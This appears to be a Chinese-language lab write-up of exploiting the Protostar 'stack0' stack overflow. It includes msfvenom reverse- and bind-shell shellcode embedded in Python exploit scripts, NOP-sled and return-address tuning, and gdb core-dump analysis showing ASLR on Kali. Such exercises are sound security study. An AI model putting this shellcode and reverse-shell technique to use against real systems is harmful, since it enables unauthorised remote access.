msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.3.106 LPORT=2222 -b "\x00" -f py
exploit.py代碼如下:
-------------------exploit.py-----------------------
#/usr/bin/python
import os
import sys
buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\xbb\xbe"
buf += "\x35\xbf\xc5\x31\x5e\x1a\x83\xc6\x04\x03\x5e\x16\xe2"
buf += "\x4b\x04\x64\x32\x50\x34\xd9\xee\xfc\xb9\x6d\x76\x89"
buf += "\x5f\x40\xf7\x1e\xc4\x33\x38\x88\xf8\xa9\xd0\xca\xfe"
buf += "\x25\x8f\x43\x1f\x5f\xa9\x0b\xb0\xf1\x62\x22\xd1\xb1"
buf += "\x41\xb4\xa0\x31\xe3\xb4\xd4\x3d\x13\x3d\x37\xfc\xf8"
buf += "\x31\x79\x1c\xf2\xf9\x04\x2e\x8b\xa2\x7f\x51\x15\xe2"
buf += "\x8c\x22\x25\xc7\x0d\xbd\xcb"
jmp_esp="\x70\xf8\xff\xbf"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
-----------------end--------------------------------
發現還是無法反彈shell,于是在shellcode前加一串nop試試,發現加9個以上的nop(\x90)可以成功反彈shell
加上nop后代碼如下:
#!bash
----------------------exploit.py--------------------------
#/usr/bin/python
import os
import sys
buf = "\x90"*9
buf += "\xd9\xf6\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\xbb\xbe"
buf += "\x35\xbf\xc5\x31\x5e\x1a\x83\xc6\x04\x03\x5e\x16\xe2"
buf += "\x4b\x04\x64\x32\x50\x34\xd9\xee\xfc\xb9\x6d\x76\x89"
buf += "\x5f\x40\xf7\x1e\xc4\x33\x38\x88\xf8\xa9\xd0\xca\xfe"
buf += "\x25\x8f\x43\x1f\x5f\xa9\x0b\xb0\xf1\x62\x22\xd1\xb1"
buf += "\x41\xb4\xa0\x31\xe3\xb4\xd4\x3d\x13\x3d\x37\xfc\xf8"
buf += "\x31\x79\x1c\xf2\xf9\x04\x2e\x8b\xa2\x7f\x51\x15\xe2"
buf += "\x8c\x22\x25\xc7\x0d\xbd\xcb"
jmp_esp="\x70\xf8\xff\xbf"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
------------------------end-------------------------------
而經檢驗并不是shellcode在內存中的位置(0x0xbffff880)定位不準的問題,應該是由于以下原因造成:
上面msfvenom生成shellcode時,由于加了-b "\x00"
參數,msfvenom默認用x86/shikata_ga_nai編碼器編碼,解碼過程需要shellcode前面有一些空間(這里是9個字節大小的空間)用來幫助完成shellcode的解碼過程
shellcode前面加上9個以上的nop后shellcode順利的完成了解碼,反彈了shell(本地事先用相同的payload+multi/handler監聽,如果用nc -lvp 2222
來監聽不能建立shell的連接,用nc -lvp
只能看到connect,然后就斷了)
但是由于protostar系統是個liveCD系統,反彈的shell連上以后馬上會斷,應該是由于"光盤"特殊的原因
這樣看來,并不是msf產生的shellcode就是毋庸置疑完全可靠的,前面竟要9個以上的空間才可支持其解碼后順利運行
用同樣的方法在kali上嘗試溢出反彈shell,將protostar系統中的stack0復制到kali上
#!bash
scp [email protected]:/opt/protostar/bin/stack0 /root/桌面
用msfvenom重新生成shellcode:
#!bash
msfvenom -p linux/x64/shell/bind_tcp LHOST=192.168.3.106 LPORT=2222 -b "\x00" -f py
-------------------------output:-------------------------
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86_64 from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 119 (iteration=0)
x64/xor chosen with final size 119
Payload size: 119 bytes
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
buf += "\xbe\x05"
--------------------------end----------------------------
此時exploit.py如下:
#!bash
---------------------exploit.py------------------------
#/usr/bin/python
import os
import sys
buf = "bbbb"
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
buf += "\xbe\x05"
jmp_esp="\xff\x48\x87\xa0" #此處jmp_esp暫時不確定
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
-----------------------end-----------------------------
嘗試通過shellcode前面加上標志"bbbb"找出shellcode在內存中的固定地址,其中上面jmp_esp的值為隨意填寫的一個
#!bash
python exploit.py
--------------output:-----------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?H??bbbbH1????H???H?S?????H1X'H-????9?R???W????'??????
V?????M????
????M o????(M???]o?
you have changed the 'modified' variable
Segmentation fault (core dumped)
----------------end-------------------
gdb -q -c core
---------------output:------------------
[New LWP 24384]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xa08748ff in ?? ()
-----------------end--------------------
x/10x $esp
----------output:-----------
0xffd26180: 0x62626262 0x48c93148 0xfff6e981 0x8d48ffff
0xffd26190: 0xffffef05 0x53bb48ff 0xa29ca7dd 0x4805be89
0xffd261a0: 0x2d485831 0xfffffff8
-----------end--------------
由此看出shellcode在內存的地址應該寫成0xffd26180,也即jmp_esp="\x80\x61\xd2\xff",并將"bbbb"換成"\x90"*9,修改exploit.py如下:
#!bash
--------------------exploit.py-------------------
#/usr/bin/python
import os
import sys
buf = "\x90"*9
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\x53\xdd\xa7\x9c\xa2\x89\xbe"
buf += "\x05\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x39\xf4\xff\x05\xc8\x8b\xe1\x6f\x52\x83\xa8\x99\xea"
buf += "\x1e\xec\xc2\x57\xf9\xa5\x9c\xaa\x27\xf6\x8c\xb5\xb7"
buf += "\xb7\xc6\xc8\xb8\xe6\x0a\x56\x84\xcd\xae\xfa\x86\xbb"
buf += "\x4d\xc5\xb7\x8c\xc4\xad\x8c\xee\x53\x0c\xb7\xae\xc4"
buf += "\x3b\x3f\xae\x4d\xda\x0b\xea\xad\x6b\xe3\x9c\x44\x09"
buf += "\x6f\xa0\x93\xa7\xc1\x28\x4d\xc4\x82\xa8\x99\x5d\x6f"
buf += "\xbe\x05"
jmp_esp="\x80\x61\xd2\xff"
#print jmp_esp
input="a"*80+jmp_esp+buf
print input
os.system("echo '%s' | ./stack0" % input)
----------------------end------------------------
重新運行:
#!bash
python exploit.py
----------------output:-------------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?a?????????H1????H???H?S?????H1X'H-????9?R???W????'??????
V?????M????
????M o????(M???]o?
you have changed the 'modified' variable
Segmentation fault (core dumped)
------------------end---------------------
本機用相同的payload+multi/handler執行exploit無法獲得shell
分析core
#!bash
gdb -q -c core
-----------------output:--------------------
[New LWP 24746]
Core was generated by `./stack0'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xffd26180 in ?? ()
-------------------end----------------------
x/10x $esp
----------output:-------------
0xffa14160: 0x90909090 0x90909090 0xc9314890 0xf6e98148
0xffa14170: 0x48ffffff 0xffef058d 0xbb48ffff 0x9ca7dd53
0xffa14180: 0x05be89a2 0x48583148
-------------end--------------
從中發現這時shellcode的內存地址又變成了0xffa14160(上面[esp]后緊接的9個90證明了這點),不再是0xffd26180,可以看出kali的內存中沒有固定的shellcode地址,每次shellcode地址都會變化,這應該是由于kali的內核版本高,安全性好造成的